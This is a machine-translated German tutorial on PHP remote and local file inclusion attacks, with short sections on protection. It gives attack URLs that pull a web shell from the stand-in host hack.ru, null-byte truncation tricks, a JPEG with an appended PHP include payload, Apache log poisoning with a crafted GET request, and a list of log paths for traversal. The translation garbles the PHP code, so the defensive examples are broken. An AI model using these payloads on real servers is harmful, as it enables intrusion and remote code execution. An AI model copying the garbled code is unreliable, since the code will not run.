This page has been robot translated, sorry for typos if any. Original content here.

PHP-Include- und Schutzmethoden



  • Globale Inklusion
  • Schutz vor globalen Einschlüssen
  • Lokale Inklusion
  • Protokolliert Apache
  • Schutz vor lokalen Einschlüssen


  • Einleitung

    Globale Inklusion

    Die gefährlichste Sicherheitslücke im Internet ist in unserer Zeit leider oder glücklicherweise äußerst selten. Für einen Angriff muss die Funktion allow_url_include aktiviert sein, dh "On".
    Die Sicherheitsanfälligkeit ermöglicht es einem Angreifer, beliebigen PHP-Code auf dem Server auszuführen.
    Es gibt vier Funktionen in PHP, um Dateien in PHP-Skripten einzuschließen:

    * include ();
    * include_once ();
    * require ();
    * require_once ().

    Die Funktion include () enthält den Inhalt der Datei im Skript. Betrachten Sie ein Beispiel für "zweimal" anfälligen Code:
      <? php
     
      if ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      sonst
     
      {
     
      include ( $ file . '.php' );
     
      }
     
      ?>
    
    
    Anhand der Bedingung prüfen wir, ob das Element des Arrays $ _GET ['page'] per URL an den Server übergeben wird, und rufen dann die Funktion include () auf . Da der Wert des Arrays $ _GET ['page'] nicht auf Existenz überprüft wird, kann ein Angreifer einen Angriff mit der Funktion file_exists () ausführen:

    http://site.ru/index.php?page=http://hack.ru/shell Andernfalls wird include ($ file. '. php'); Es gibt die gleiche Situation, nur den Code zu schreiben, ist etwas anders. Variable $ file nicht
    Es gab einen bestimmten frühen Zeitpunkt und ein Angreifer konnte PHP-Code remote ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell Die include_once () - Funktion ist fast dieselbe wie include () , mit einer Ausnahme: Vor dem Einfügen einer Datei in ein Programm wird dies überprüft, nicht ob es früher aufgenommen wurde. Wenn die Datei bereits enthalten war, wird der Aufruf von include_once () ignoriert, und wenn nicht, erfolgt die Standardeinbeziehung der Datei.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In diesem Beispiel wird der zu ladenden Datei automatisch die Erweiterung '.gif' zugewiesen.
    Es gibt zwei Möglichkeiten, die Erweiterung '.gif' zu entfernen:
    1) Wenn magic_quotes_gpc = Off ist, können Sie "giftige Null" -% 00 verwenden, wodurch die Erweiterung abgeschnitten wird
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) auch wenn magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? Die Funktion require () ähnelt der Funktion include () mit der Ausnahme, dass die vom Parameter require () angegebene Datei unabhängig vom Speicherort des require () - Skripts im Skript enthalten ist.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    Angriff ist ähnlich, aber in diesem Fall wird die Erweiterung nicht zugeschrieben:
    http://site.ru/index.php?page=http://hack.ru/shell.php Die Funktion require_once () lädt eine Datei nur einmal in ein Skript.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Angriff ist ähnlich ...

    Betrachten Sie nun eine andere Version der Aufnahme. Diesmal ist es notwendig, dass in der php.ini-Datei
    Der Wert des Parameters allow_url_fopen war On (Standardeinstellung).
    PHP Code:
      <? php
     
      $ f = fopen ( "$ file.php" , "r" );
     
    
      while (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      echo $ s ;
     
      }
     
    
      fclose ( $ f );
     
      ?>
    
    
    Aufgrund der Tatsache, dass die Variable $ file zuvor nicht definiert war, konnte ein Angreifer einen Angriff ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell Als Ergebnis erhalten wir wieder eine Web-Shell.

    Im folgenden Beispiel wird die Funktion readfile () verwendet .
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Die Funktion readfile () liest eine Datei, deren Name als Parameter übergeben wird, und zeigt deren Inhalt auf dem Bildschirm an.
    Als Ergebnis erhalten wir wieder die Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell Betrachten Sie nun diese Option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Mit der implode () -Funktion kombinieren wir die Elemente des Arrays zu einem String und mit der file () -Funktion erhalten wir den Inhalt der Datei als Array. Als Ergebnis haben wir wieder eine Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Schutz vor globalen Einschlüssen

    Natürlich können Sie die Datei mit der Funktion file_exists () auf Existenz prüfen und unerwünschte Zeichen mit str_replace () herausfiltern , aber ich empfehle, das switch case- Konstrukt zu verwenden:

      <? php
     
      globale $ page ;
     
      Schalter ( $ Seite )
     
      {
     
      case '' :
     
      include ( "pages / main.php" );
     
      brechen;
     
    
      case 'index' :
     
      include ( "pages / main.php" );
     
      brechen;
     
      case 'page1' :
     
      include ( "pages / folder / page1.php" );
     
      brechen;
     
      case 'page2' :
     
      include ( "pages / folder / page2.php" );
     
      brechen;
     
    
      Standard:
     
      include ( "pages / hack.php" );
     
      brechen;
     
      }
     
      ?>
    
    
    Ich empfehle auch, die php.ini-Datei zu bearbeiten :

    allow_url_include = Off // Remote-Include-Dateien verbieten
    allow_url_fopen = Off // verbiete das Öffnen von Links
    register_globals = Off // Initialisierung globaler Variablen deaktivieren
    safe_mode = On // safe_mode aktivieren (der Hacker hat keinen Zugriff auf / etc / passwd und ähnliches)

    Lokale Inklusion

    Nicht weniger gefährliche Sicherheitslücke im Web. Ermöglicht einem Angreifer, auf dem Server liegende Dateien einzuschließen. Viele Neulinge sind mit diesem Fehler konfrontiert, Webcodierungen werfen den Fall auf, weil sie nicht wissen, wie sie vorgehen sollen und in welche Richtung sie graben sollen. Ich werde ein allgemeines Beispiel geben:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Global funktioniert es nicht, da die Variable $ file nach dem Verzeichnis / include / zugewiesen wird
    Was kann getan werden?

    Der Idealfall liegt vor, wenn eine Site über ein Forum oder ein anderes Formular verfügt, mit dem Sie eine beliebige Datei mit einer beliebigen Erweiterung herunterladen können.
    Die Frage stellt sich - warum mit irgendeiner Erweiterung? Nehmen Sie zum Beispiel eine fiktive Seite, auf der Sie Avatare über das Forum hochladen können. Es gibt ein Skript im Forum, das überprüft, ob der Benutzer das Foto tatsächlich hochgeladen hat. Öffnen Sie die Farbe und speichern Sie ein Bild, zum Beispiel im JPG-Format. Danach öffnen wir es mit einem Notizblock und schreiben nach dem Bildcode <? Php include ("http://hack.ru/shell.php"); ?> Als Ergebnis erhalten wir ungefähr Folgendes:
    			
     Ich habe ein JFIF `` CLEAR           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342ÀЫ C 			  
    
      2!  ! 2222222222222222222222222222222222222222222 22222яА 6 6 "Gift                    	
      Gift µ}! 1A Qa "q 2Ѓ'Ѓ # B ± B RСр $ 3br‚	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz „… † ‡ € ‰ ‰" "––— ˜ ™ љўЈ¤љўЈ¦§Y                       	
      GIFT µ w! 1 AQ aq "2Ѓ B'Ў ± B # 3Rr brС
    
      $ 4b% mit & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz  chj (Ђ €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
    
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ўЂÑ BOX
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Jetzt kann dieses Bild ins Forum hochgeladen werden und es wird genau als Bild wahrgenommen.
    Kehren wir zur Frage der Expansion zurück. Warum mögen wir welche? Tatsache ist, dass die include () -Funktion
    Lädt Code aus einer Datei in eine ausführbare Datei. Hier ist ein Beispiel:
    http://www.site.com/index.php?include=../forum/images/shell.jpg Als Ergebnis enthält der Code <? php include ("http://hack.ru/ shell.php "); ?>

    Protokolliert Apache

    Wie bekannt, speichert Apache die Protokolldateien httpd-access.log und httpd-error.log sowie alle Anforderungen.
    natürlich protokolliert und in die entsprechenden dateien geschrieben. Hier ist ihre ungefähre Position:
     /logs/error.log
     /logs/access.log
    
     / logs / error_log
     / logs / access_log
    
     / var / log / error_log 
     / var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / error_log
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / error_log
     /var/log/apache/error.log
     / var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / error_log
     / var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / error_log
     / apache / logs / access_log
    
     / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / error_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    Ich werde ein Beispiel auf lokalkhost geben, ich denke, viele werden klarer sein. Mit dem InetCrack- Programm sende ich ein Paket mit folgendem Inhalt:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Der Paket-Header wird in den Apache-Protokollen aufgezeichnet, die sich unter folgender Adresse befinden:
    Z:\usr\local\apache\logs\access.log folgende Zeile ist in dieser Datei geschrieben:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 Ich denke, das Wesentliche ist klar. Es bleibt uns, ihn zu neigen:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log Und hol http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log eine Web-Shell :)

    Schutz vor lokalen Einschlüssen

    Hier ein kleines Beispiel, wie Sie sich zuverlässig schützen können:
      <? php
     
    


    Funktion stripslashes_for_array (& $ array )
    {
    reset ( $ array );
    while (liste ( $ key , $ val ) = jedes ( $ array ))
    {
    if ( is_string ( $ val )) $ array [ $ key ] = Stripslashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ key ] = stripes_for_array ( $ val );
    }
    return $ array ;
    }

    if (! get_magic_quotes_gpc ())
    {
    Stripslashes_for_array ( $ _POST );
    Stripslashes_for_array ( $ _GET );
    }

    if (isset ( $ _GET [ 'file' ])) $ file = $ _GET [ 'file' ];
    sonst
    {
    if (isset ( $ _POST [ 'file' ])) $ file = $ _POST [ 'file' ]; sonst $ file = '' ; } $ file = str_replace ( '/' , '' , $ file ); $ file = str_replace ( '.' , '' , $ file ); if (! file_exists ( "include" . '/' . $ file . '.php' ) || $ file == 'index' ) { $ file = 'news' ; } include ( "include" . '/' . $ file . '.php' ); ?>

    Und was passiert hier? Jedes Element des Arrays wird von der Funktion stripslashes () überprüft. Sie tötet Backsleshi. Überprüfen Sie als Nächstes, ob der Wert des Array-Elements festgelegt ist oder nicht. Filtern Sie ungültige Zeichen (' / ', ' . ') Mit der Funktion str_replace () . Wenn die Datei nicht existiert (überprüfen Sie dies mit der Funktion file_exists () ) - weisen Sie den Wert der Variablen $ file = 'news' zu. In anderen Fällen (wenn die Datei vorhanden ist) schließen wir sie ein.